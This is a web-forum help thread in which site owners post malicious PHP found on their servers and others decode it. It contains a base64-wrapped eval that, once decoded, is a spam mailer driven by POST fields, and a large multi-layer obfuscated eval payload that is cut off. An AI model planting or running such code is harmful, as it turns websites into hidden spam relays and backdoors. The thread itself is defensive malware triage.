eval(base64_decode help

Gamergy

My host keeps taking me offline because my site is using to many resources. The latest e-mail says:

Your account has been suspended again for high CPU usage, this time nearly causing the server to become unresponsive. The problem was traced back to this part of your site:

/*/public_html/includes/toollbar.php

Now I downloaded this file and opened it to see what it belonged to but I can't tell because it's encoded and I haven't been able to decode it. Can anyone here please try? I'm not trying to violate any copyrights, I just need to know what component is using the php file.

The code is:

<?php eval(base64_decode('JHRleHQgPSAkX1BPU1RbInRleHQiXTsgDQokZnJvbSA9ICRfUE9TVFsib3Rrb2dvIl07IA0KJHRvID0gJF9QT1NUWydlbWFpbCddOyANCiRzdWJqID0gJF9QT1NUWyJ0ZW1hIl07IA0KJGJvZHkgPSAiJHRleHQiOyANCiRmcm9tPSJGcm9tOiAkZnJvbVxuUmVwbHktVG86ICRmcm9tXG5YLVByaW9yaXR5OiAxXG5Db250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1cImtvaTgtclwiXG5Db250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiA4Yml0IjsgIA0KJGZyb209Y29udmVydF9jeXJfc3RyaW5nKCRmcm9tLCJ3IiwiayIpOyAgDQokdG89Y29udmVydF9jeXJfc3RyaW5nKCR0bywidyIsImsiKTsgIA0KJHN1Ymo9Y29udmVydF9jeXJfc3RyaW5nKCRzdWJqLCJ3IiwiayIpOyAgDQokYm9keT1jb252ZXJ0X2N5cl9zdHJpbmcoJGJvZHksInciLCJrIik7ICANCm1haWwoJHRvLCRzdWJqLCRib2R5LCRmcm9tKTsgIA==')); ?>

paulnaj

Looks like some kind of code insertion.

There's been a lot of attacks via FTP recently. It's probably 'decodes' to a set of links to dodgy websites that sell things, rather than anything particularly nasty.

But, get rid of it asap. In fact I would look through EVERY php, javascript and html file to see if they have been messed around with too.

After that, change your FTP password on a regular basis and use as many non-alpha, non-numeric characters as you can.

Paul.

PS I maintain a batch of sites and regularly use Firefox+HttpFox to quickly see what files/images/scripts are being pulled in.

PSS Go back and edit your post to cut that string into pieces - very hard to read the thread otherwise.

Gamergy

woops, sorry. I can't go back and edit. I was finally successful in decoding it... but I'm pretty new to php so I have no idea what the file is doing. Decodes to:

$text = $POST["text"];
$from = $POST["otkogo"];
$to = $POST['email'];
$subj = $POST["tema"];
$body = "$text";
$from="From: $from\nReply-To: $from\nX-Priority: 1\nContent-Type: text/html; charset=\"koi8-r\"\nContent-Transfer-Encoding: 8bit";

$from=convert_cyr_string($from,"w","k");

$to=convert_cyr_string($to,"w","k");

$subj=convert_cyr_string($subj,"w","k");

$body=convert_cyr_string($body,"w","k");

mail($to,$subj,$body,$from);

Can anyone tell me what this is doing?

scrupul0us

decodes to:

$text = $_POST["text"]; 
$from = $_POST["otkogo"]; 
$to = $_POST['email']; 
$subj = $_POST["tema"]; 
$body = "$text"; 
$from="From: $from\nReply-To: $from\nX-Priority: 1\nContent-Type: text/html; charset=\"koi8-r\"\nContent-Transfer-Encoding: 8bit";  

$from=convert_cyr_string($from,"w","k");  

$to=convert_cyr_string($to,"w","k");  

$subj=convert_cyr_string($subj,"w","k");  

$body=convert_cyr_string($body,"w","k");  

mail($to,$subj,$body,$from);

scrupul0us

presumably, anyone could hit that page with post requests and spam off it...

i would comment it out

scrupul0us

quick google reveals it might be a mail flooder:

https://forum.antichat.ru/nextoldesttothread66447.html

Gamergy

Thanks for your help guys! So fast! I deleted it off my server. Hopefully this will solve the resource problems.

paulnaj

Remember you should really check other files.

A client recently asked me to have a look at a site I'd built a few years ago and virtually every php file had an insertion. And every javascript file - there's a javascript version of 'eval' and it does a simliar job.

P 😉

Gamergy

Ok, i'll do that. Is there a program or anything that can search through all my files on my server for a code snippet? That would certainly save some time than doing them manually.....

paulnaj

Nothing I know of, I'm afraid.

I've always had to eyeball the files myself.

scrupul0us

I use a piece of software called "advanced find and replace"... cost my company 30$ to buy it, but when a client site gets whacked, its nothing more than telling it what to look for, in what files and hitting go

WELL worth the investment:
http://www.abacre.com/afr/

They are also running a special on their latest V5 that nets you 20% off (Until August 8th) with this coupon: AFR-M9XQ-UPF

fastburst

I have one for you guys to crack. It goes several levels deep.

If you got a script that will do this please let me know, I have several files that are encoded and trying to call out to somewhere for something, needless to say I have it blocked because I want to know what it is doing before it does.

filename delegate.php

<?php $o4c3d8769c7202984dc1d7123a84c8331="\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";echo

($o4c3d8769c7202984dc1d7123a84c8331

("JG9iMDg4YzY1MjNkM2M0NzVlNThmNmIyZjRlOGZkNjU1Yz0iXHg2MiI7CiRvZjVhNjFiYmNmYzAwMjM2ZmI5OWIwOWRjMTMzNDYxMzQ9Ilx4NjIiOwokb

zdhYzM4ZTY0YTEyM2MzMTEyMDI1YjRmOGU0MmY1MWE1PSJceDY3IjsKJG9iNDNkYTZlMzc2ZTZkNDliZmNhNzZjNzUyMmRkMDk3Nj0iXHg2NyI7CiRvNzUz

MmNiY2YwNmMzN2YzYTgyNzdjMTViNmY0ZmZmZDc9Ilx4NzMiOwokb2IwODhjNjUyM2QzYzQ3NWU1OGY2YjJmNGU4ZmQ2NTVjLj0iXHg2MSI7CiRvZjVhNjF

iYmNmYzAwMjM2ZmI5OWIwOWRjMTMzNDYxMzQuPSJceDYxIjsKJG83YWMzOGU2NGExMjNjMzExMjAyNWI0ZjhlNDJmNTFhNS49Ilx4N2EiOwokb2I0M2RhNm

UzNzZlNmQ0OWJmY2E3NmM3NTIyZGQwOTc2Lj0iXHg3YSI7CiRvNzUzMmNiY2YwNmMzN2YzYTgyNzdjMTViNmY0ZmZmZDcuPSJceDc0IjsKJG9iMDg4YzY1M

jNkM2M0NzVlNThmNmIyZjRlOGZkNjU1Yy49Ilx4NzMiOwokb2Y1YTYxYmJjZmMwMDIzNmZiOTliMDlkYzEzMzQ2MTM0Lj0iXHg3MyI7CiRvN2FjMzhlNjRh

MTIzYzMxMTIwMjViNGY4ZTQyZjUxYTUuPSJceDY0IjsKJG9iNDNkYTZlMzc2ZTZkNDliZmNhNzZjNzUyMmRkMDk3Ni49Ilx4NjkiOwokbzc1MzJjYmNmMDZ

jMzdmM2E4Mjc3YzE1YjZmNGZmZmQ3Lj0iXHg3MiI7CiRvYjA4OGM2NTIzZDNjNDc1ZTU4ZjZiMmY0ZThmZDY1NWMuPSJceDY1IjsKJG9mNWE2MWJiY2ZjMD

AyMzZmYjk5YjA5ZGMxMzM0NjEzNC49Ilx4NjUiOwokbzdhYzM4ZTY0YTEyM2MzMTEyMDI1YjRmOGU0MmY1MWE1Lj0iXHg2NSI7CiRvYjQzZGE2ZTM3NmU2Z

DQ5YmZjYTc2Yzc1MjJkZDA5NzYuPSJceDZlIjsKJG83NTMyY2JjZjA2YzM3ZjNhODI3N2MxNWI2ZjRmZmZkNy49Ilx4NWYiOwokb2IwODhjNjUyM2QzYzQ3

NWU1OGY2YjJmNGU4ZmQ2NTVjLj0iXHgzNiI7CiRvZjVhNjFiYmNmYzAwMjM2ZmI5OWIwOWRjMTMzNDYxMzQuPSJceDM2IjsKJG83YWMzOGU2NGExMjNjMzE

xMjAyNWI0ZjhlNDJmNTFhNS49Ilx4NjYiOwokb2I0M2RhNmUzNzZlNmQ0OWJmY2E3NmM3NTIyZGQwOTc2Lj0iXHg2NiI7CiRvNzUzMmNiY2YwNmMzN2YzYT

gyNzdjMTViNmY0ZmZmZDcuPSJceDcyIjsKJG9iMDg4YzY1MjNkM2M0NzVlNThmNmIyZjRlOGZkNjU1Yy49Ilx4MzQiOwokb2Y1YTYxYmJjZmMwMDIzNmZiO

TliMDlkYzEzMzQ2MTM0Lj0iXHgzNCI7CiRvN2FjMzhlNjRhMTIzYzMxMTIwMjViNGY4ZTQyZjUxYTUuPSJceDZjIjsKJG9iNDNkYTZlMzc2ZTZkNDliZmNh

NzZjNzUyMmRkMDk3Ni49Ilx4NmMiOwokbzc1MzJjYmNmMDZjMzdmM2E4Mjc3YzE1YjZmNGZmZmQ3Lj0iXHg2ZiI7CiRvYjA4OGM2NTIzZDNjNDc1ZTU4ZjZ

iMmY0ZThmZDY1NWMuPSJceDVmIjsKJG9mNWE2MWJiY2ZjMDAyMzZmYjk5YjA5ZGMxMzM0NjEzNC49Ilx4NWYiOwokbzdhYzM4ZTY0YTEyM2MzMTEyMDI1Yj

RmOGU0MmY1MWE1Lj0iXHg2MSI7CiRvYjQzZGE2ZTM3NmU2ZDQ5YmZjYTc2Yzc1MjJkZDA5NzYuPSJceDYxIjsKJG83NTMyY2JjZjA2YzM3ZjNhODI3N2MxN

WI2ZjRmZmZkNy49Ilx4NzQiOwokb2IwODhjNjUyM2QzYzQ3NWU1OGY2YjJmNGU4ZmQ2NTVjLj0iXHg2NSI7CiRvZjVhNjFiYmNmYzAwMjM2ZmI5OWIwOWRj

MTMzNDYxMzQuPSJceDY0IjsKJG83YWMzOGU2NGExMjNjMzExMjAyNWI0ZjhlNDJmNTFhNS49Ilx4NzQiOwokb2I0M2RhNmUzNzZlNmQ0OWJmY2E3NmM3NTI

yZGQwOTc2Lj0iXHg3NCI7CiRvNzUzMmNiY2YwNmMzN2YzYTgyNzdjMTViNmY0ZmZmZDcuPSJceDMxIjsKJG9iMDg4YzY1MjNkM2M0NzVlNThmNmIyZjRlOG

ZkNjU1Yy49Ilx4NmUiOwokb2Y1YTYxYmJjZmMwMDIzNmZiOTliMDlkYzEzMzQ2MTM0Lj0iXHg2NSI7CiRvN2FjMzhlNjRhMTIzYzMxMTIwMjViNGY4ZTQyZ

jUxYTUuPSJceDY1IjsKJG9iNDNkYTZlMzc2ZTZkNDliZmNhNzZjNzUyMmRkMDk3Ni49Ilx4NjUiOwokbzc1MzJjYmNmMDZjMzdmM2E4Mjc3YzE1YjZmNGZm

ZmQ3Lj0iXHgzMyI7CiRvYjA4OGM2NTIzZDNjNDc1ZTU4ZjZiMmY0ZThmZDY1NWMuPSJceDYzIjsKJG9mNWE2MWJiY2ZjMDAyMzZmYjk5YjA5ZGMxMzM0NjE

zNC49Ilx4NjMiOwokb2IwODhjNjUyM2QzYzQ3NWU1OGY2YjJmNGU4ZmQ2NTVjLj0iXHg2ZiI7CiRvZjVhNjFiYmNmYzAwMjM2ZmI5OWIwOWRjMTMzNDYxMz

QuPSJceDZmIjsKJG9iMDg4YzY1MjNkM2M0NzVlNThmNmIyZjRlOGZkNjU1Yy49Ilx4NjQiOwokb2Y1YTYxYmJjZmMwMDIzNmZiOTliMDlkYzEzMzQ2MTM0L

j0iXHg2NCI7CiRvYjA4OGM2NTIzZDNjNDc1ZTU4ZjZiMmY0ZThmZDY1NWMuPSJceDY1IjsKJG9mNWE2MWJiY2ZjMDAyMzZmYjk5YjA5ZGMxMzM0NjEzNC49

Ilx4NjUiOwpldmFsKCRvNzUzMmNiY2YwNmMzN2YzYTgyNzdjMTViNmY0ZmZmZDcoJG9iNDNkYTZlMzc2ZTZkNDliZmNhNzZjNzUyMmRkMDk3Nigkb2Y1YTY

xYmJjZmMwMDIzNmZiOTliMDlkYzEzMzQ2MTM0KCI3VDFyVitOR3NwL05yK2lRU1NTekJzL2tzV2NEbDBtQWk4MW1jeGp3Sk94Q1RvNlJIRWtlaGl1c05taX

g1L0RmYjFYMVE2MlhKWU1IVEdaMGtzR1N1cXVycXF1cXE2b2ZXbG01NFdIRVBkczZjcDJBTzhGNjkzTEFOMW5BM3dmdG0yQTYyV0tqbTlEemViQTlETWJyL

zdDYVd5c3I3VFk3QzI4NUMyNDQ4N252eDY3REFwZng5NFBZNHl3Y0I5eGpyMTZ5RzNmbytTdXhFL2VodXIwcVMyNWNqL3JUOFAwa0h2TWdudkxWRnJQLy9u

SU4vbnYxc29uQXY0eWQwV1FZY1gvRjQzOE9BV0RmZFVhY1JiSG5oRk51OS90dlQwNTcvWDV6dzJvRHVuRVFjMzlqY0RPd3RxckxqOElKZDZMUXExdCtFanJ

Ydy9DYTZ4K3k0c3FLcEtYdkI2RVgySWoyaTlIUTh3Q2h0KzRFMk1tMjh3Q1J0Z1ZmQUpBeGRqSm00V0F3aVVkaGdEMFIrNDRWc05nQjNDWVRIa0dCT1FDdX

hHUDdpNGlQWTRkSHRuVzIyLzJ0dDkvNTdXVFBhckxEbldNMmppZTh6OS9IZnVEYmFZcUJYZERMUWV4Y2krNW9zdTF0Tmc0blBtK3lEeXNOazlmbE5kZWg1W

EE0Q1FTRXJlcHEzanZ1ZWE2YlZQaEo5UXdJVU9DNWwzYnFvZTZ1eG90K3A5ZnBuT3p1L0c1MWV2di83TzMzOTNkM3U5WWYwSEhYUE9nUTRIMEFUSVdWaXB5

NmdzV2J6TnJJRm1PQWorUTUvSTM0ZTQwU3NJdkEzSzNNNEc2T1NZVUNtZUt3Z0xqU1hsdGJZV3ZzOU9Tb3Q5UHB3Yy8yeW1nUytqNDdqVWZjOFRrQVhtbU1

YRUNOZFgvWjYvV1BlMmU3amNZMnN5SStkUUVJeUFjelhuZU85ay8ydXZqZUgzbnhJQ2dvQWZ5Q3hxZ0lNQUJhU1pVNTJEazlPVHZwOW82cGthRXppYWR4d0

NOcnE5RnVqMTJQNlNmc1hUZ1pjcCsxMi96OUpnT1R3Qnh2Z3cwODk3OThGUGdLNTUwZWRFNkRZRGtjdUExd0pDQzZUUU1oQzNUSm9qRGdLNFRTWUhnRmVzR

mVCR0RVb0NMVTFHd0p5TTRKSWhtQWs3U2txaUVnV1cwdzlNQVFRajE4eHV6Ty81N1NMelJoVFJiNnpMcUVhMzA2WFk4aUt3VkQ0SFFzSUFHZ2l4c09PaHF3

aTNneWtTWXpWUjRZY1FDNCtLSTBzV1U0QlVMZE1Sdmljd1lTNWw0QSsreFI2TEFybmpDOHVkSlFRTUlvUmtFTko1MUJPT0picVFhdWhwZmMyd0hSRWkzUUx

Sc1BBUnVVdDN6UkkzYzZDSjNMTFYzWThxR3I2Vm0rY0c4YXhoTURNSlRsK0tnSTdOQUp2Q3hZZXBZcUREVEg0VVQyZ2lvb0hpSm5ycmlYS2c3aTVZNXUvOE

12QlJKRTF5Mi9SUGJoY0RXUnZXL3pHRzQ5aHRxQXZmLzI0UFMwdVNLRUJqU3FFNzRUdzV1U0Z2Y0twWkxad1Uzc045VWRqSGtobVVUUU9RT0g4ZEFaa1NYM

kFZcU5tczNrOVFLcnI3L1dPSUsxa1krUW9jT0FINmczYURCVUxZOEhRdys2R3FUdjc5LzF1VE55STI2RGRmUDRPMXN3SXY0L3NJNkVXbFBXdTB0b09YWERh

QVl0WTgrZEFoa0FEeXhMQ1NFVEFHRy9nQ0ltTWUwMlBvYUtyZ2ZTS0lBbWxNSTlVRGQwRWdRbHhwS01pQk1aQkpURy9RVHN5QjJRRG9jQ04yeEZOd0RqR25

BZEhBdTJodWl2cWNmcm9BNFQxK0UvTnJQTVJqMXZrQUZCbk1UOVZyWVFxckpaaUJRL1d5alI1S1Nnb2QzWjRrcVJEYkJhdDFjYURWa3FyYW02WkpFQ0c3Qz

FEaWV3RTdVdUxDeTFPRk5lNlhaaEZkTGxUQVdoM3lVdGtQTG1XaEJxbnEwaTVNTGdUYUxucUxmN29STkIzMTl6aDN2QTNLaFVoUklBcHVZamlMZW8rbHJme

VZjRjdvRGREVzVJSFk3ZktETzJJVXMxczZwekpMUlNqNlZnZWJSQlFUa0dxVVJiN2pPWGpJa1lpNVFPZVc0QWtnbGx0QnJsbGR5MERmSnRKT3pDTlByZTF1

L3drdXFUNnlEd1BMTGxBaGRIQ00vMmgxZHdaNmNOaHlIeHpSWjcyV0xmTjdNZ2N2SmUvRjVKTTd4dGxNaHpjVVhSMVNtbFgyTnZ3UXBQd1pTQWJRYy9MdzR

1R1pPY0xPQ09Zb2J4RkloZ2ttRGtYWnBkQ1NsTlFmU3J2MmVhM3hkR0Zsd3pHRmNVV09wb0F3dHBpYzFtYytiMjZJYVBic0dnU3BrcXNhZ2pMQ1dsS2kwR0

hsZlFVWUNWelo1bm9MRHp3OHgyQ2R3bSs1RUYzcEN6VGVHcmEyckl0YXowUjRkQlBQRjFVS1JjMGVQZWFlL1h3NjdwaXg3ekNiOUdRVUpuZE9ERjcvQTNzT

kdCZWcyb1JyNmVOeHpCV0FKMUdsbHU5ZnU2QURGTFN4czhUbGdESGprRXNRNm5PdVM0SXhVSW5vS0JHZERWK3d6d2lldHpBMkxTcGdrN1pCY2VoRitnL2xN

ZTNMaWc3aURJL0QwSU1icnFJQWgvRHJsM1dkU3VLTVRCbGJSZlVLRVdzVVRpQUwvQXRFMHYvVDhuU0QwaVlSKy82UjhlSCs5RDVOSUM4OVUvQUZlOHYzTjQ

xa3Z1OWc0N25TWU5MKzV0UTlmM2dmMmpvQjlkSVFTc0lJcDQzSWRnaTZsU2hFTWFGZXllUmp4bXRpZ0J3WmJqMmlKWWFUU2ltTnZXLzF4NXJQM2Eya2dWMk

xBMmpTZXVoMDlVUVFHZkVMaUQvNVZLQ1Z3TXZrSnZBdk5HbXYzRVFXMVRFeTVtZXAwazdPTnpiNFdHbURDS0RBekpIL1M4OEJJQlFNWFQyTG4xZjhlUVVrb

jZZbG1wZVdpd2tSclNQQ1FKVG5FUmNVVFhDc2VFTkVjVDA1UVZleTJUMXhQM0Nxd2owbmFFaGFLa2xMOURyamhpOUpQa09wYXdFeW1hVWV0dmYvdDR6Skdz

UVA0NFBnTmpSS2tSN2lISkoxRUpDN0RZU1dSUW5xQVdqc2RVdU8rNUY3NG9JZEVVZ28yQmFnY000RkdYblI1MnV2MFRDTXIzNGM4eGlPWmhCOExabitHM3R

VVVZoTXczdHBNQk4yOFFVallINjdnWFdqREhQQmpkOUVua2JBbXN4YzUrZ2ZwOUVPVGRJMWxGUkVuWURGVCszWklvL0VFdmxkdzR1dnNFeitSZ3RxaXJQUn

ZncjcyZDN2N2hLVVJoTzBmZGs5MmR6a01CUGdERGd3RkYrQkJiYzNSY1pYemt5RUJqZy8wTUhzcU5PNXhFRUp2ZmNtWDhJU3ozd05QRlFDdjJFMEd5cVF4R

Ssyck0rK0xITDRTWHVjWUFhQ1NUR0NPSTZiRVVqTEhReGtRMjZnNERQNDY0SGp4VnZSZWd2aE9Pcmo2RVBUZ21xK0NXbnV0U09qTENWMFo0aHUvaXlJY1g0

part one had to chop due to size length

fastburst

Part 2 of the above

S09BT2tCbHZMVmw3bzFaY1dTQmt6VDBPZm02T0p4TjRYazhtSEFSU1h2NFIvbThBYVl6c0lxRzdVQ3RlSHdKOEVGcnlMbkFLREJRbVJyS2UxeWhtMGNCOUE

0RTNpMHNTZjRIdStDaWdPUGkyK0hvaGxHMkVVZlNrVHNaVGgwQlJyTndDRU91dHdtRXZJdUhMUlpPK0h2aERhMHhWV1FIdEh1VGRZRUhROUd6MEQ5VGlDZ1

RCejdoVHh1ZEpDOENmclNZNzlLTE9GTGRqU2dCM3FPYjBMbm0wUmNDZnFtdkx4cXpaUyswQk11M3hmaGdTeFliSGJuTmtHMnRoSHRHOHBTTVp6ZW1VdE40Q

kczQmJ4czVTd3B1Uk00UlJ6U1k4TGwwTmdldmVHeno2U0FBTzZIYmJEWVRyMU00NXdZMlJoUUJBMnlmSUNwaW1vYkxlV2NHN3BSZUZmNU80cy9TTFVCY1Bk

ZzdCcWVRblg5SUdybzdaNTFlbDYwYXJqajYxdE5Ra1o4MEJHTEl3OUdOd2dGVGJpOVFHcmRmc3hja0VzaXBkaHRNR3FpYUU3QlY5SHRYSVNhZ1Vodk1Pc0d

zVVdEQno5akgrUWhWYXdOS2dVZ2czMWZwWlI5L3F0ZGtKRk5zYXJmamF3ZmpGSlFPYUdzYUFubWtFUGJRSDRJaVg0TE1ORk5WZ1BteG8rdzBGQlhTa09VL1

htRG5RZGFIQnQyU3llQnNwSEJJRkNyekN0c3k2UU8yUVBGQkRER0o2d0J1aGlhaS9aRzBvR3pqRzljQmdEbXNDR2FLTFUwRWlneWdXOFUvMUJsUTRCdEtuc

mtBRUpUNUppUTFqMXdSZU1kQkRycHNRVWsrZ1pZcWR5SE54RTNHaGdCQWF1L0hRbUFLSUVsU0FaUE5TNHJuQm96YUxXWnRsWmE5WTN4Q3VmU1p3SlRzb203

T2dGWDZKc0ZtRmRRRUpBVVVaSnRNSk9ySXZmQUNvK0JpOTk2QUNXMXA4eXE3SFZuNnRXQ2xGS1o2K0twV2MwSUFZb1RRU3Z1NHFrdnFkRWNseVRXNjRTNHY

1SGkxMjBaV3gvSnBqZ0I1OXVjUTdEdlRwQmJXOVVHK3dUNkJ0Y1JhaWFLVW9qbkMyUVJMNUYydHpacFM2cE4xRzl1cnpCQVE2eXZmWXFzdERFZDhNTlEzM0

5mTmwwc2hYbGRnVTIvTGl3Z01yMXgzd2tQbllTaCs1U09DQWl2Mkk3T3dheXkyeVN3eTg5YkQ4SlNleXdJUVhDUUhDOVFtWTZ1MUpLY2Y0NlZIR2RQdVphd

XZKRko4MTI1ekoxS2o1RXJhTFJqNlFuaHhsTW9PektocTdPZmZldnM5MERjb2E5RnZTems5NGVRaWhLSHRDb2M2N29OSGpBTXZPbjQ4WHdLYzVOaEkxRllO

NU9nUTRTZ09vMlZHbVd1TjlWbU9yWWpNTVIvZHVITE10OWo2YTV5cEZYVW94QlNSSERSSktiRmJ6QnFpRVhOdlVjdkg1TUNIeUtZS0F6YkwrQmhzeFJuenh

6ZGlmMEZEcEJRY3VncjZhVERCekhMZ0FvVVlnUUFhL0JvaXNCYVRsa3A0TnVFazVrN3hnRmFUbXNjeENjVjNkeXlqME9yRmw4SzlGYWhuM1AvZXYzcEhCNW

gzVmZUcEJGL05CQU9DdzJpRGwwY2I5bkh2emNHdm1EYzJsbEJNM0d2ZitvTlNYZjMrMGVsaHA5UHZnLzU5K1BMdWErZktIMnlsL3ZYQUVaYS9RVG43ZlJYM

Fk1VlZxUEpCb0hZSFAxZngvZW5KVHEvZkoyaFEzaGJJcll1SXFBbERDRG9jUmdBQldscVlxVW5vektxdnpJR2tGYTFRUVdYSmpFVzcwK2FXc3ViVUYydHJo

eEhhRW9kZmlEekM1OFRCOGlRT29EWFJrelNVRVJLS0V5TlFONHpqdVY2SFlHUVpkSHBoeGhRZjFhOGI5bStMb0YrVHZrMjBRQWxvMFkwZEFEWUZSTFpKK2F

vU0FjOGxEU0FTb3V4a3A3dWJ6UVhZcVV5QUFnVGRoL2wzb3llUkpNT1JlVWpHd0tTOFhtU1BJb2ZkazUrYWxneE9keDc3K212MjBPQS9qU1RLZnlFalpQc0

Y0VC80TjZrNERRclVEZkt2aG9HSWhhVGF6UXp2ekJCZUthU1lJMEYwVWR0Q3VmQ0pjZ1FVMk00SVBCWFllUVA1Wll6alY3ZHc2Q1o3SVF5TjBZTWdJTUlKZ

3hlWFlDdmt5bHBVUVJCYVhHb0dJQzVjRDQwdExuT0RYOXhya2p1YlNVNWx5VFQ2d1pCdDFSMlVrYW1LL3ZFeWt3ajNjbXp3UW93UUljZTlhQW1ScXBrdXFP

ZHRVNzZnQmtzZTVuSFBSc0xvN1FLR3BOVzZESjEyKzc5RG5LUXFDUCtLVVpHaFg1bVpuR2xRTTRBTmRqYlpQdzlQRDNvZFpodmExRzUzZDQ5M2NYVTRZSWp

qTzBxdGowc2FoV1I1U1JhSWN6RVRIa3Fyc3c3ajhZWndOSVRjdlVwYlVZbTAwUlE0T0E1NUF1Z1l3WCszc1JQaE9yWGhBTUszemIzRjJQOEhEZ0ExN1AvaU

J3QzBxS0p6N0EyNDhybm16QUJRWk9wbjJ0UkNyU3BOQWhhRG1LMU1CYUhyZlhOdmM0VzdOVVBkZ3NBUVExdUlCdWNMQjJlRWdwbmNHaXJuZ0k5d1VTdTlBV

0VOVlhKTWFoQXU5MVZ6VUs0ekF0RnpTSEZJbTlRQ3pob2tsU2JoN2tWSFplNHR6MHRrSlRxOWFvWWxXK091bnFIRTZ5UE9HMVQ1Q0lValQvSFFVMG1HQnJv

NHg4TWk3Nm9zKzFSN0tKRURoREUvWnd3UlZzcGJmM2oyUWRkODV2bUh6QWl3dlMwNnRQa0JiSGRxekRzNU50ZGdDRjZvdFNjbVovSTlwWnlwMWF0TDhLV2R

hQlZEOGV4QU1HY2VCSy9DWEFnMVhTYS94VG1SakZ3bDJSR1ZIbEdCK0srMHpFc3NQOEVnWEE3V2xNZEEvVldMbFZUNVZBNUR1Qk5KaEx0R0M2REVDbFRNVT

JBQ2RoTGZrc0ZVVDlHQmx1RTRWclMyWDFzWTE2TVdoOWQwKyswcnE2bmhrYStOc0hiM2ozdjc3TTB2YklBK1ZBR1V3ODZSQWVTNEI3Y0pHT0Y1clRQeDF4M

lBkUWdHTHgwUDh6R2FCZGhQa3EzS3Uxakw1eUJVRXFJc0V3RUQ0cG5NdmhqUmZpdkZJYjNxUUZBcDB4RVNXWFhuZUxKY3Mzb3BBcTZjb3c1TWtoN05MWm9s

akdVQ0IzMmNFT0lkVEZ4aC80cWt1NnlrQlNZeEJTWFpDQ04vVVpBeUVEYnFhaGhQSW5OTTFFa0lQUkxKbFZwcjdPMys3aGs3LzhvL3Q4ejhUSFpmZ21LY3F

leTBaOFUydU5wa3I5bkxiRktsWUxJbFhRQnplamtYRmkvdHhocjlocTZzdnFWRTBtdmp3VDlwWEMxMis2Q1phcWRQVFZ6Y3grOFRkRHk2MTVjaGZ1SHVIOG

1Hbk9GWWJhV1ozeko5d2l3aXo4dzUxSnFoQ0VaZkxVTnVWdFRtbTg5ZHNDODVBODlzWHhRSVpQWkI2ZmhsMmdHTXY0VEJMTEFENGtXVkRkQ0RTZFlNbE1Te

WVDWHhyQmlTMEFqUXorM1hMMFQrSHlndFVmdDYwWjVtYWt0d1ZUQ1YybWdaVGR6UE1KUjFYV2tqaFZDcXdzcmlPN1AvY0F1dVRuVFNjSkhMZ0JlZ1Nsc3My

VmVScFliSDR1UjNDcmpqMVlEY2trQ2g4RmFKdkVuSE9wTlJ6MHdFcXNmM2Q3OFRIbU9XWHc2NXc5RTQ5dndnUGQ2cWtoYzNNYmhmTmk0clpyWFhKR2U5VHB

XZTJhYTVzcVR4cmFKUzRCNjdZZlFXbkVNaUF4cHVGcGFUeSs3RmpjblhSR3FmZFpDaFFnWkpiVzRUa3R6TjVJUFJoeDRxbjY3Q1RleFVwcTZMbU54TEo1SG

x2RVJ6TXhONWR6emExVDVoc2xXbnlqblZUYXEyc2txaWVKQnU0L2VYZnlUY2FNekpEdHdKTkFBTGhFTm52MDg3Uzhpb3orUk5jekgwNWltVEkwb2FwckcvT

ituc3FmdU9rMGVOMDVZeDk5V21YaEVmMGF6TGxHYU4wZzdzR3NZeTRYUXpSWlFObmdTcEw0WWltSytFNFVWa2FsU2xmVFYzaWxPMDhWaHMxYjJBNFNqaUV3

NmNhOGtwV1pybnZZaDE3S2JxOXlCMkVrVnRDN2UwZy9sTDVrZTNYNzhDRTRGem1GaEFwSENnakZ3OUdyRlhDWlJ2TW1DTWFvZW5wMkszZkNwVUt1aHhDYUI

yRDljSWdENXV4SUtiNjJBc1dIaThrclhLangrd2lGMDBEUldsVlBvUnBldXJQczBBNVN0Zmh5Y3M2N0QvSlFNVUlwaFN5VXNkbjlSR3N6b1RYcEFITEYwWV

ptUlFQb0hrSzVtTmluU25Nbk5KeGxVWWdVWkRHNHprbGJScnVCMU9NRHczMnFiM2g0bWh0cFZzS3RJN3hoNDZhbFlNWGNJdDBHdHlQaGoyLzBtWEFWV0p5b

XFCY05DL3VBa25JMGR6U0VxNXF5eVBQY2lQOTZidm9jTU1uT2N0Y0xYSUh5U3JuNlJycGMvMTVDNlZHTmpMUFNvbDlDbmt4WkZDMHJuYWZwVk1kTC9DNVhy

ay9LUWNMck9SQ3FDeGVPeGYrZ0dmVmduenFKNmpQWHNGM0VkM3ZtUzYrR2ozWUtkcnI5RzVUeEQzZkVxNTQvcGUyZWZrY2FGdjlpbWtqclhMOHp3Y3MvblR

4alhTak9YcjlKK2pnNlZ3ejJVWDUwOHYwZ2FjdVRPR3hqUTVIV0xnZU5ZZnFieWVYb0NQZng3djVBSzZqbmJQOWc1M2Zsa2N3TG11dGt4cTVvNFlFb2RiSG

NrVjZmTFd0T0J6U2x0T252Q2hlcDV4djFRVGFlOXJsTUZseSt5MEV2d1A1RWI2WmNCL21NYWxsVjdYTHpLaFVwZXJDZnVWQjI4cHQvNUlKTkdwT05neUpnZ

0xNNU9XeE14U3RDVGs0YXBKV3VFZ2o4OGlhMlVlaDBWZ3plVHJiTXJmWElyelZlaitKSHJTWGsyUzRBWURVbEZCZ3FjUkUrQUJPeXNOdFlURkVXbktPTkpu

WThJcmV2MFRSUVFOR2cyd3pFa2tIZ3NrR2pKSzFLWEZRby9HS1o1b0laNzRzVFBpalRNSUg3NzVwc1crZWZueUIzeGVjcTZZd2VFRGFzeVdqY3BqcFdaNno

4cmhWWTZ1T2g5dmpWbmt6MjFZd3RlVno4OWI3QnlCbjh2WFdFQjRxT0x4eHJsbUhFN1I2bW9iNTNGazFGbEZqMUhWaUttbzlVRmlmV2ZSbnBEaWhTWFZrMl

QzbmdUN0NGTmI4cXhGTytOUUxHcG1hN0g3OXVZSnVVdWNCeU01azVtdW1zZE1STzQwakIzN2hmaTd0SFpDb0VkbVVxRmFheEE0cHZqK2NESjVyRkdnbURRM

Wo2TG9tZ1AzWmJMa1dUS3lJMWloSVNmN3NVaDNyQm9nSGphM1VJQnpYZTNpWGtXRHEwZm1aTXhZQm5YTDViU29NeVdPczJYVm9PclFpWTVVL3lzS1cyeEpS

TGNtdFMxbWFYeG5pM1FwSStqVTJEUXY2SWp1NVdjRm9TbW9saGcvaEJuK3NuRWp1eEk4NVpwL2ZFNFlIRmhpeWt2SmJLWFdZeWZ4U2czeUthdS9WQXdvek9

